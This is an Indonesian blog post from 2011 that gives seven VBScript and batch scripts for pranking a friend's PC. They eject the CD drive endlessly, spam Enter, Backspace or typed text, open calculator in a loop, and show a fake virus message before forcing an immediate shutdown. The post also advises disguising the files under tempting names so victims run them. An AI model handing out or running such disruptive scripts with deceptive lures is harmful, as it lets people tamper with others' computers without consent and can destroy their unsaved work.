Senin, 02 Mei 2011

Isengin pc teman pake script notepad jahil..!

0 komentar
1. Meng-eject Drive CD-Room Terus-Menerus
Code:

Code:
Set oWMP = CreateObject(�WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count � 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count � 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
^
^
^
hati2 gan, klo keseringan bisa wafat tu kompie ..

2. Tombol Enter Terus-terusan Aktif 
Code:
Code:
Set wshShell = wscript.CreateObject(�WScript.Shell�)
do
wscript.sleep 100
wshshell.sendkeys �~(enter)�
loop
3. Iseng Dengan Pesan Lambat Notepad �Hello, how are you? I am good thanks!
Code:
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(�WScript.Shell�)
WshShell.Run �notepad�
WScript.Sleep 100
WshShell.AppActivate �Notepad�
WScript.Sleep 500
WshShell.SendKeys �Hel�
WScript.Sleep 500
WshShell.SendKeys �lo �
WScript.Sleep 500
WshShell.SendKeys �, ho�
WScript.Sleep 500
WshShell.SendKeys �w a�
WScript.Sleep 500
WshShell.SendKeys �re �
WScript.Sleep 500
WshShell.SendKeys �you�
WScript.Sleep 500
WshShell.SendKeys �? �
WScript.Sleep 500
WshShell.SendKeys �I a�
WScript.Sleep 500
WshShell.SendKeys �m g�
WScript.Sleep 500
WshShell.SendKeys �ood�
WScript.Sleep 500
WshShell.SendKeys � th�
WScript.Sleep 500
WshShell.SendKeys �ank�
WScript.Sleep 500
WshShell.SendKeys �s! �
4. Iseng Dengan Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)

Code:
Code:
MsgBox �Maaf, Anda Harus Mengulang Kembali�
Set wshShell =wscript.CreateObject(�WScript.Shell�)
do
wscript.sleep 100
wshshell.sendkeys �{bs}�
loop
5. Iseng Dengan Membuka Calculator Terus Menerus
Code:
Code:
@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top
6. Iseng dengan Keyboard (tampil tulisan yang kita inginkan)
Code:
Code:
Set wshShell = wscript.CreateObject(�WScript.Shell�)
do
wscript.sleep 100
wshshell.sendkeys �Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki�
loop
7. Iseng Dengan Shutdown Komputer
Code:
Code:
@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c �Error! Virus Menyebar Keseluruh System!� -s -t 0
Semua trik di atas (No. 1 sampai 7 di simpan / save menggunakan .VBS (misalnya pake nama yang bikin penasaran, misalnya: Cewe_Cantik.VBS)

Leave a Reply

Labels